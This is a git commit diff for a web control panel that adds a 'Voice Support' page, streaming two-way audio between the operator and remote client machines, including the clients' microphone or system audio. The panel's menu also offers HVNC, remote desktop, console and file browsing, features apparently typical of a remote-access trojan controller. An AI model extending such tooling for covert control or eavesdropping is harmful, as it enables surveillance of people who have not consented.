remote voice receiving and talking
This commit is contained in:
KingKDot
@@ -122,6 +122,51 @@ export async function sendCommand(clientId, action) {
|
||||
}
|
||||
}
|
||||
|
||||
export async function sendSupportChat(clientId, message, requireReply = true) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "support_chat", message, requireReply }),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok) {
|
||||
return {
|
||||
ok: false,
|
||||
error: data?.error || `support chat failed ${res.status}`,
|
||||
response: "",
|
||||
};
|
||||
}
|
||||
return {
|
||||
ok: Boolean(data?.ok),
|
||||
error: data?.error || "",
|
||||
response: typeof data?.response === "string" ? data.response : "",
|
||||
};
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
return { ok: false, error: "Support chat request failed", response: "" };
|
||||
}
|
||||
}
|
||||
|
||||
export async function fetchVoiceCapabilities(clientId) {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/command`, {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ action: "voice_capabilities" }),
|
||||
});
|
||||
const data = await res.json().catch(() => ({}));
|
||||
return {
|
||||
ok: Boolean(data?.ok),
|
||||
capabilities: data?.capabilities || null,
|
||||
error: data?.error || (res.ok ? "" : `voice capabilities failed ${res.status}`),
|
||||
};
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
return { ok: false, capabilities: null, error: "Voice capability probe failed" };
|
||||
}
|
||||
}
|
||||
|
||||
export async function requestPreview(clientId) {
|
||||
const ok = await sendCommand(clientId, "screenshot");
|
||||
if (ok) {
|
||||
|
||||
@@ -637,6 +637,12 @@ menu.addEventListener("click", async (e) => {
|
||||
}
|
||||
const action = target.dataset.action;
|
||||
|
||||
if (open === "voice") {
|
||||
window.open(`/voice?clientId=${contextCard}`, "_blank", "noopener");
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
|
||||
if (action === "uninstall") {
|
||||
if (
|
||||
!confirm(
|
||||
|
||||
@@ -5,6 +5,7 @@ menu.className =
|
||||
menu.style.maxHeight = "min(70vh, 520px)";
|
||||
menu.innerHTML = `
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-emerald-800 bg-emerald-900/50 hover:bg-emerald-800/70 text-emerald-100 flex items-center gap-2" data-open="console"><i class="fa-solid fa-terminal"></i> Open Console</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-teal-800 bg-teal-900/45 hover:bg-teal-800/65 text-teal-100 flex items-center gap-2" data-open="voice"><i class="fa-solid fa-headset"></i> Voice Support</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-purple-800 bg-purple-900/50 hover:bg-purple-800/70 text-purple-100 flex items-center gap-2" data-open="remotedesktop"><i class="fa-solid fa-desktop"></i> Remote Desktop</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-violet-800 bg-violet-900/50 hover:bg-violet-800/70 text-violet-100 flex items-center gap-2" data-open="hvnc"><i class="fa-solid fa-ghost"></i> HVNC</button>
|
||||
<button class="w-full text-left px-3 py-2.5 mb-1 rounded-lg border border-blue-800 bg-blue-900/50 hover:bg-blue-800/70 text-blue-100 flex items-center gap-2" data-open="files"><i class="fa-solid fa-folder-tree"></i> File Browser</button>
|
||||
|
||||
@@ -0,0 +1,473 @@
|
||||
import { fetchVoiceCapabilities } from "./data.js";
|
||||
|
||||
const params = new URLSearchParams(window.location.search);
|
||||
const clientId = params.get("clientId") || "";
|
||||
|
||||
if (!clientId) {
|
||||
alert("Missing clientId");
|
||||
throw new Error("Missing clientId");
|
||||
}
|
||||
|
||||
const connectBtn = document.getElementById("connect-btn");
|
||||
const disconnectBtn = document.getElementById("disconnect-btn");
|
||||
const statusPill = document.getElementById("status-pill");
|
||||
const localWaveCanvas = document.getElementById("local-wave");
|
||||
const remoteWaveCanvas = document.getElementById("remote-wave");
|
||||
const sourceSelect = document.getElementById("source-select");
|
||||
const muteSelfBtn = document.getElementById("mute-self-btn");
|
||||
const muteRemoteBtn = document.getElementById("mute-remote-btn");
|
||||
|
||||
let ws = null;
|
||||
let mediaStream = null;
|
||||
let sourceNode = null;
|
||||
let processorNode = null;
|
||||
let captureAudioCtx = null;
|
||||
let playAudioCtx = null;
|
||||
let playProcessorNode = null;
|
||||
let selfMuted = true;
|
||||
let remoteMuted = true;
|
||||
let playbackChunks = [];
|
||||
let playbackChunkReadOffset = 0;
|
||||
let levelLoopRunning = false;
|
||||
const WAVE_SIZE = 2048;
|
||||
const WAVE_VISUAL_GAIN = 1.8;
|
||||
const CAPTURE_FRAME_SIZE = 512;
|
||||
const PLAYBACK_FRAME_SIZE = 512;
|
||||
const MAX_PLAYBACK_BUFFER_MS = 120;
|
||||
const localWaveBuffer = new Float32Array(WAVE_SIZE);
|
||||
const remoteWaveBuffer = new Float32Array(WAVE_SIZE);
|
||||
let localWaveWrite = 0;
|
||||
let remoteWaveWrite = 0;
|
||||
|
||||
const UPLINK_SAMPLE_RATE = 16000;
|
||||
|
||||
function sourceLabel(source) {
|
||||
if (source === "default" || source === "microphone") {
|
||||
return "Default Input";
|
||||
}
|
||||
if (source === "system") {
|
||||
return "System Audio";
|
||||
}
|
||||
if (typeof source === "string" && source.startsWith("device:")) {
|
||||
const name = source.slice("device:".length).trim();
|
||||
return name || "Audio Device";
|
||||
}
|
||||
return String(source || "Audio Source");
|
||||
}
|
||||
|
||||
function setStatus(text, cls) {
|
||||
if (!statusPill) return;
|
||||
statusPill.className =
|
||||
"inline-flex items-center gap-2 px-3 py-1.5 rounded-full border " + cls;
|
||||
statusPill.innerHTML = `<i class="fa-solid fa-circle"></i><span>${text}</span>`;
|
||||
}
|
||||
|
||||
function downsampleTo16k(float32Buffer, sampleRate) {
|
||||
if (sampleRate === 16000) return float32Buffer;
|
||||
const ratio = sampleRate / 16000;
|
||||
const newLength = Math.round(float32Buffer.length / ratio);
|
||||
const out = new Float32Array(newLength);
|
||||
let offsetOut = 0;
|
||||
let offsetIn = 0;
|
||||
while (offsetOut < out.length) {
|
||||
const nextOffsetIn = Math.round((offsetOut + 1) * ratio);
|
||||
let accum = 0;
|
||||
let count = 0;
|
||||
for (let i = offsetIn; i < nextOffsetIn && i < float32Buffer.length; i++) {
|
||||
accum += float32Buffer[i];
|
||||
count++;
|
||||
}
|
||||
out[offsetOut] = count > 0 ? accum / count : 0;
|
||||
offsetOut++;
|
||||
offsetIn = nextOffsetIn;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function floatToInt16(float32Buffer) {
|
||||
const out = new Int16Array(float32Buffer.length);
|
||||
for (let i = 0; i < float32Buffer.length; i++) {
|
||||
const s = Math.max(-1, Math.min(1, float32Buffer[i]));
|
||||
out[i] = s < 0 ? s * 0x8000 : s * 0x7fff;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function clearPlaybackQueue() {
|
||||
playbackChunks = [];
|
||||
playbackChunkReadOffset = 0;
|
||||
}
|
||||
|
||||
function pushWaveSamples(ring, writePos, samples) {
|
||||
for (let i = 0; i < samples.length; i++) {
|
||||
ring[writePos] = samples[i];
|
||||
writePos = (writePos + 1) % ring.length;
|
||||
}
|
||||
return writePos;
|
||||
}
|
||||
|
||||
function ensureCanvasSize(canvas) {
|
||||
if (!canvas) return;
|
||||
const dpr = window.devicePixelRatio || 1;
|
||||
const width = Math.max(1, Math.floor(canvas.clientWidth * dpr));
|
||||
const height = Math.max(1, Math.floor(canvas.clientHeight * dpr));
|
||||
if (canvas.width !== width || canvas.height !== height) {
|
||||
canvas.width = width;
|
||||
canvas.height = height;
|
||||
}
|
||||
}
|
||||
|
||||
function drawWave(canvas, ring, writePos, strokeStyle) {
|
||||
if (!canvas) return;
|
||||
ensureCanvasSize(canvas);
|
||||
const ctx = canvas.getContext("2d");
|
||||
if (!ctx) return;
|
||||
|
||||
const w = canvas.width;
|
||||
const h = canvas.height;
|
||||
const mid = h / 2;
|
||||
|
||||
ctx.fillStyle = "rgba(15, 23, 42, 0.72)";
|
||||
ctx.fillRect(0, 0, w, h);
|
||||
|
||||
ctx.strokeStyle = "rgba(148, 163, 184, 0.35)";
|
||||
ctx.lineWidth = Math.max(1, Math.floor((window.devicePixelRatio || 1)));
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(0, mid);
|
||||
ctx.lineTo(w, mid);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.strokeStyle = strokeStyle;
|
||||
ctx.lineWidth = Math.max(1.5, 1.5 * (window.devicePixelRatio || 1));
|
||||
ctx.beginPath();
|
||||
const len = ring.length;
|
||||
for (let x = 0; x < w; x++) {
|
||||
const idx = (writePos + Math.floor((x / w) * len)) % len;
|
||||
const sample = Math.max(-1, Math.min(1, (ring[idx] || 0) * WAVE_VISUAL_GAIN));
|
||||
const y = mid - sample * (h * 0.42);
|
||||
if (x === 0) ctx.moveTo(x, y);
|
||||
else ctx.lineTo(x, y);
|
||||
}
|
||||
ctx.stroke();
|
||||
}
|
||||
|
||||
function startLevelLoop() {
|
||||
if (levelLoopRunning) return;
|
||||
levelLoopRunning = true;
|
||||
|
||||
const tick = () => {
|
||||
if (!levelLoopRunning) return;
|
||||
|
||||
drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)");
|
||||
drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)");
|
||||
|
||||
requestAnimationFrame(tick);
|
||||
};
|
||||
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
|
||||
function stopLevelLoop() {
|
||||
levelLoopRunning = false;
|
||||
localWaveBuffer.fill(0);
|
||||
remoteWaveBuffer.fill(0);
|
||||
localWaveWrite = 0;
|
||||
remoteWaveWrite = 0;
|
||||
drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)");
|
||||
drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)");
|
||||
}
|
||||
|
||||
function resampleInt16ToFloat32(srcInt16, srcRate, dstRate) {
|
||||
if (!srcInt16 || srcInt16.length === 0) {
|
||||
return new Float32Array(0);
|
||||
}
|
||||
|
||||
if (srcRate === dstRate) {
|
||||
const out = new Float32Array(srcInt16.length);
|
||||
for (let i = 0; i < srcInt16.length; i++) {
|
||||
out[i] = srcInt16[i] / 0x8000;
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
const outLength = Math.max(1, Math.round((srcInt16.length * dstRate) / srcRate));
|
||||
const out = new Float32Array(outLength);
|
||||
const step = srcRate / dstRate;
|
||||
|
||||
for (let i = 0; i < outLength; i++) {
|
||||
const srcPos = i * step;
|
||||
const i0 = Math.floor(srcPos);
|
||||
const i1 = Math.min(i0 + 1, srcInt16.length - 1);
|
||||
const frac = srcPos - i0;
|
||||
const sample = srcInt16[i0] * (1 - frac) + srcInt16[i1] * frac;
|
||||
out[i] = sample / 0x8000;
|
||||
}
|
||||
|
||||
return out;
|
||||
}
|
||||
|
||||
function appendPlaybackPcm(binary) {
|
||||
if (!playAudioCtx) {
|
||||
initPlaybackEngine();
|
||||
}
|
||||
|
||||
const samples = Math.floor(binary.byteLength / 2);
|
||||
if (samples <= 0) return;
|
||||
const src = new Int16Array(binary.buffer, binary.byteOffset, samples);
|
||||
const chunk = resampleInt16ToFloat32(src, UPLINK_SAMPLE_RATE, playAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE);
|
||||
if (chunk.length === 0) return;
|
||||
playbackChunks.push(chunk);
|
||||
remoteWaveWrite = pushWaveSamples(remoteWaveBuffer, remoteWaveWrite, chunk);
|
||||
|
||||
// Keep roughly <= 2 seconds buffered to avoid stale replay artifacts.
|
||||
let bufferedSamples = -playbackChunkReadOffset;
|
||||
for (const chunk of playbackChunks) bufferedSamples += chunk.length;
|
||||
const sampleRate = playAudioCtx?.sampleRate || UPLINK_SAMPLE_RATE;
|
||||
const maxSamples = Math.max(PLAYBACK_FRAME_SIZE, Math.round(sampleRate * (MAX_PLAYBACK_BUFFER_MS / 1000)));
|
||||
while (bufferedSamples > maxSamples && playbackChunks.length > 0) {
|
||||
const dropped = playbackChunks.shift();
|
||||
bufferedSamples -= dropped?.length || 0;
|
||||
playbackChunkReadOffset = 0;
|
||||
}
|
||||
}
|
||||
|
||||
function initPlaybackEngine() {
|
||||
if (!playAudioCtx) {
|
||||
playAudioCtx = new AudioContext({ sampleRate: 16000, latencyHint: "interactive" });
|
||||
}
|
||||
if (!playProcessorNode) {
|
||||
playProcessorNode = playAudioCtx.createScriptProcessor(PLAYBACK_FRAME_SIZE, 1, 1);
|
||||
playProcessorNode.onaudioprocess = (event) => {
|
||||
const out = event.outputBuffer.getChannelData(0);
|
||||
out.fill(0);
|
||||
|
||||
if (remoteMuted) return;
|
||||
|
||||
let writeIndex = 0;
|
||||
while (writeIndex < out.length && playbackChunks.length > 0) {
|
||||
const head = playbackChunks[0];
|
||||
const remaining = head.length - playbackChunkReadOffset;
|
||||
if (remaining <= 0) {
|
||||
playbackChunks.shift();
|
||||
playbackChunkReadOffset = 0;
|
||||
continue;
|
||||
}
|
||||
|
||||
const needed = out.length - writeIndex;
|
||||
const take = Math.min(needed, remaining);
|
||||
out.set(head.subarray(playbackChunkReadOffset, playbackChunkReadOffset + take), writeIndex);
|
||||
|
||||
writeIndex += take;
|
||||
playbackChunkReadOffset += take;
|
||||
if (playbackChunkReadOffset >= head.length) {
|
||||
playbackChunks.shift();
|
||||
playbackChunkReadOffset = 0;
|
||||
}
|
||||
}
|
||||
};
|
||||
playProcessorNode.connect(playAudioCtx.destination);
|
||||
}
|
||||
}
|
||||
|
||||
async function startMicCapture() {
|
||||
mediaStream = await navigator.mediaDevices.getUserMedia({
|
||||
audio: {
|
||||
channelCount: 1,
|
||||
echoCancellation: false,
|
||||
noiseSuppression: false,
|
||||
autoGainControl: false,
|
||||
},
|
||||
video: false,
|
||||
});
|
||||
captureAudioCtx = new AudioContext({ latencyHint: "interactive" });
|
||||
sourceNode = captureAudioCtx.createMediaStreamSource(mediaStream);
|
||||
processorNode = captureAudioCtx.createScriptProcessor(CAPTURE_FRAME_SIZE, 1, 1);
|
||||
|
||||
sourceNode.connect(processorNode);
|
||||
processorNode.connect(captureAudioCtx.destination);
|
||||
|
||||
processorNode.onaudioprocess = (event) => {
|
||||
if (!ws || ws.readyState !== WebSocket.OPEN) return;
|
||||
if (selfMuted) return;
|
||||
|
||||
const inData = event.inputBuffer.getChannelData(0);
|
||||
const downsampled = downsampleTo16k(inData, captureAudioCtx.sampleRate);
|
||||
localWaveWrite = pushWaveSamples(localWaveBuffer, localWaveWrite, downsampled);
|
||||
const pcm16 = floatToInt16(downsampled);
|
||||
|
||||
ws.send(pcm16.buffer);
|
||||
};
|
||||
}
|
||||
|
||||
function stopMicCapture() {
|
||||
if (processorNode) {
|
||||
processorNode.disconnect();
|
||||
processorNode.onaudioprocess = null;
|
||||
processorNode = null;
|
||||
}
|
||||
if (sourceNode) {
|
||||
sourceNode.disconnect();
|
||||
sourceNode = null;
|
||||
}
|
||||
if (captureAudioCtx) {
|
||||
captureAudioCtx.close().catch(() => {});
|
||||
captureAudioCtx = null;
|
||||
}
|
||||
if (playProcessorNode) {
|
||||
playProcessorNode.disconnect();
|
||||
playProcessorNode.onaudioprocess = null;
|
||||
playProcessorNode = null;
|
||||
}
|
||||
if (playAudioCtx) {
|
||||
playAudioCtx.close().catch(() => {});
|
||||
playAudioCtx = null;
|
||||
}
|
||||
stopLevelLoop();
|
||||
clearPlaybackQueue();
|
||||
if (mediaStream) {
|
||||
mediaStream.getTracks().forEach((t) => t.stop());
|
||||
mediaStream = null;
|
||||
}
|
||||
}
|
||||
|
||||
function updateMuteButtons() {
|
||||
if (muteSelfBtn) {
|
||||
muteSelfBtn.innerHTML = selfMuted
|
||||
? '<i class="fa-solid fa-microphone-slash"></i> Unmute Me'
|
||||
: '<i class="fa-solid fa-microphone"></i> Mute Me';
|
||||
}
|
||||
if (muteRemoteBtn) {
|
||||
muteRemoteBtn.innerHTML = remoteMuted
|
||||
? '<i class="fa-solid fa-volume-xmark"></i> Unmute Them'
|
||||
: '<i class="fa-solid fa-volume-high"></i> Mute Them';
|
||||
}
|
||||
}
|
||||
|
||||
async function connectVoice() {
|
||||
if (ws && ws.readyState === WebSocket.OPEN) return;
|
||||
|
||||
// Start each new session with both directions muted by default.
|
||||
selfMuted = true;
|
||||
remoteMuted = true;
|
||||
clearPlaybackQueue();
|
||||
startLevelLoop();
|
||||
updateMuteButtons();
|
||||
|
||||
const proto = window.location.protocol === "https:" ? "wss" : "ws";
|
||||
ws = new WebSocket(`${proto}://${window.location.host}/api/clients/${encodeURIComponent(clientId)}/voice/ws`);
|
||||
ws.binaryType = "arraybuffer";
|
||||
|
||||
ws.onopen = async () => {
|
||||
setStatus("Connecting", "border-blue-700 bg-blue-900/40 text-blue-100");
|
||||
connectBtn.disabled = true;
|
||||
disconnectBtn.disabled = false;
|
||||
try {
|
||||
await startMicCapture();
|
||||
initPlaybackEngine();
|
||||
const chosenSource = sourceSelect?.value || "default";
|
||||
ws.send(JSON.stringify({ type: "start", source: chosenSource }));
|
||||
} catch {
|
||||
alert("Microphone access denied or unavailable.");
|
||||
disconnectVoice();
|
||||
}
|
||||
};
|
||||
|
||||
ws.onmessage = (ev) => {
|
||||
if (typeof ev.data === "string") {
|
||||
try {
|
||||
const msg = JSON.parse(ev.data);
|
||||
if (msg?.type === "status") {
|
||||
if (msg.status === "offline") {
|
||||
setStatus("Client Offline", "border-amber-700 bg-amber-900/30 text-amber-200");
|
||||
} else if (msg.status === "connected") {
|
||||
setStatus("Connected", "border-emerald-700 bg-emerald-900/40 text-emerald-100");
|
||||
} else if (msg.status === "error") {
|
||||
setStatus("Voice Error", "border-red-700 bg-red-900/40 text-red-100");
|
||||
}
|
||||
}
|
||||
} catch {}
|
||||
return;
|
||||
}
|
||||
|
||||
const bytes = new Uint8Array(ev.data);
|
||||
if (bytes.byteLength > 1) {
|
||||
appendPlaybackPcm(bytes);
|
||||
}
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
stopMicCapture();
|
||||
connectBtn.disabled = false;
|
||||
disconnectBtn.disabled = true;
|
||||
setStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300");
|
||||
};
|
||||
|
||||
ws.onerror = () => {
|
||||
setStatus("Error", "border-red-700 bg-red-900/40 text-red-100");
|
||||
};
|
||||
}
|
||||
|
||||
function disconnectVoice() {
|
||||
stopMicCapture();
|
||||
if (ws) {
|
||||
try {
|
||||
ws.send(JSON.stringify({ type: "stop" }));
|
||||
} catch {}
|
||||
try {
|
||||
ws.close();
|
||||
} catch {}
|
||||
ws = null;
|
||||
}
|
||||
connectBtn.disabled = false;
|
||||
disconnectBtn.disabled = true;
|
||||
setStatus("Disconnected", "border-slate-700 bg-slate-800 text-slate-300");
|
||||
}
|
||||
|
||||
async function loadCapabilities() {
|
||||
setStatus("Checking", "border-blue-700 bg-blue-900/40 text-blue-100");
|
||||
const result = await fetchVoiceCapabilities(clientId);
|
||||
const caps = result.capabilities;
|
||||
if (!result.ok || !caps?.available) {
|
||||
setStatus("Voice Unavailable", "border-amber-700 bg-amber-900/30 text-amber-200");
|
||||
connectBtn.disabled = true;
|
||||
const message = result.error || caps?.detail || "Voice support is unavailable on this client.";
|
||||
alert(message);
|
||||
return;
|
||||
}
|
||||
|
||||
const sources = Array.isArray(caps.sources) && caps.sources.length > 0 ? caps.sources : ["default"];
|
||||
const defaultSource = caps.defaultSource && sources.includes(caps.defaultSource) ? caps.defaultSource : sources[0];
|
||||
|
||||
if (sourceSelect) {
|
||||
sourceSelect.innerHTML = "";
|
||||
for (const source of sources) {
|
||||
const option = document.createElement("option");
|
||||
option.value = source;
|
||||
option.textContent = sourceLabel(source);
|
||||
sourceSelect.appendChild(option);
|
||||
}
|
||||
sourceSelect.value = defaultSource;
|
||||
}
|
||||
|
||||
setStatus("Ready", "border-slate-700 bg-slate-800 text-slate-300");
|
||||
}
|
||||
|
||||
connectBtn?.addEventListener("click", connectVoice);
|
||||
disconnectBtn?.addEventListener("click", disconnectVoice);
|
||||
muteSelfBtn?.addEventListener("click", () => {
|
||||
selfMuted = !selfMuted;
|
||||
updateMuteButtons();
|
||||
});
|
||||
muteRemoteBtn?.addEventListener("click", () => {
|
||||
remoteMuted = !remoteMuted;
|
||||
if (remoteMuted) {
|
||||
clearPlaybackQueue();
|
||||
}
|
||||
updateMuteButtons();
|
||||
});
|
||||
window.addEventListener("beforeunload", disconnectVoice);
|
||||
|
||||
updateMuteButtons();
|
||||
drawWave(localWaveCanvas, localWaveBuffer, localWaveWrite, "rgba(34, 211, 238, 0.95)");
|
||||
drawWave(remoteWaveCanvas, remoteWaveBuffer, remoteWaveWrite, "rgba(16, 185, 129, 0.95)");
|
||||
loadCapabilities();
|
||||
@@ -0,0 +1,70 @@
|
||||
<!doctype html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Voice Support</title>
|
||||
<link rel="stylesheet" href="/assets/tailwind.css" />
|
||||
<link
|
||||
rel="stylesheet"
|
||||
href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.2/css/all.min.css"
|
||||
crossorigin="anonymous"
|
||||
referrerpolicy="no-referrer"
|
||||
/>
|
||||
<link rel="stylesheet" href="/assets/main.css" />
|
||||
</head>
|
||||
<body class="min-h-screen bg-slate-950 text-slate-100">
|
||||
<header id="top-nav"></header>
|
||||
<main class="px-5 py-6">
|
||||
<div class="max-w-4xl mx-auto rounded-2xl border border-slate-800 bg-slate-900/70 p-6 shadow-xl">
|
||||
<div class="flex items-center justify-between gap-3 flex-wrap">
|
||||
<div>
|
||||
<h1 class="text-2xl font-semibold">Voice Support</h1>
|
||||
<p class="text-slate-400">Live two-way audio channel for remote support.</p>
|
||||
</div>
|
||||
<span id="status-pill" class="inline-flex items-center gap-2 px-3 py-1.5 rounded-full border border-slate-700 bg-slate-800 text-slate-300">
|
||||
<i class="fa-solid fa-plug-circle-xmark"></i><span>Disconnected</span>
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div class="mt-6 grid grid-cols-1 sm:grid-cols-2 gap-4">
|
||||
<button id="connect-btn" class="px-4 py-3 rounded-lg border border-emerald-700 bg-emerald-900/40 hover:bg-emerald-800/60 text-emerald-100 font-medium">
|
||||
<i class="fa-solid fa-phone-volume"></i> Connect Voice
|
||||
</button>
|
||||
<button id="disconnect-btn" class="px-4 py-3 rounded-lg border border-red-700 bg-red-900/40 hover:bg-red-800/60 text-red-100 font-medium" disabled>
|
||||
<i class="fa-solid fa-phone-slash"></i> Disconnect Voice
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div class="mt-4 grid grid-cols-1 sm:grid-cols-3 gap-3">
|
||||
<label class="text-sm text-slate-300 flex flex-col gap-1">
|
||||
<span>Client Audio Source</span>
|
||||
<select id="source-select" class="bg-slate-900/70 border border-slate-700 rounded-lg px-3 py-2 text-slate-100">
|
||||
<option value="microphone">Microphone</option>
|
||||
</select>
|
||||
</label>
|
||||
<button id="mute-self-btn" class="px-4 py-2 rounded-lg border border-slate-700 bg-slate-800/70 hover:bg-slate-700 text-slate-200">
|
||||
<i class="fa-solid fa-microphone"></i> Mute Me
|
||||
</button>
|
||||
<button id="mute-remote-btn" class="px-4 py-2 rounded-lg border border-slate-700 bg-slate-800/70 hover:bg-slate-700 text-slate-200">
|
||||
<i class="fa-solid fa-volume-high"></i> Mute Them
|
||||
</button>
|
||||
</div>
|
||||
|
||||
<div class="mt-6 space-y-4">
|
||||
<div>
|
||||
<div class="text-sm text-slate-300 mb-1">Your Mic (You -> Client)</div>
|
||||
<canvas id="local-wave" class="mt-2 w-full h-20 rounded-lg border border-slate-700 bg-slate-900/60"></canvas>
|
||||
</div>
|
||||
<div>
|
||||
<div class="text-sm text-slate-300 mb-1">Client Audio (Client -> You)</div>
|
||||
<canvas id="remote-wave" class="mt-2 w-full h-20 rounded-lg border border-slate-700 bg-slate-900/60"></canvas>
|
||||
</div>
|
||||
<div class="text-xs text-slate-500">Uses native Go audio capture/playback on the client agent. If unavailable, rebuild agent with CGO enabled.</div>
|
||||
</div>
|
||||
</div>
|
||||
</main>
|
||||
<script type="module" src="/assets/nav.js"></script>
|
||||
<script type="module" src="/assets/voice.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
Reference in New Issue
Block a user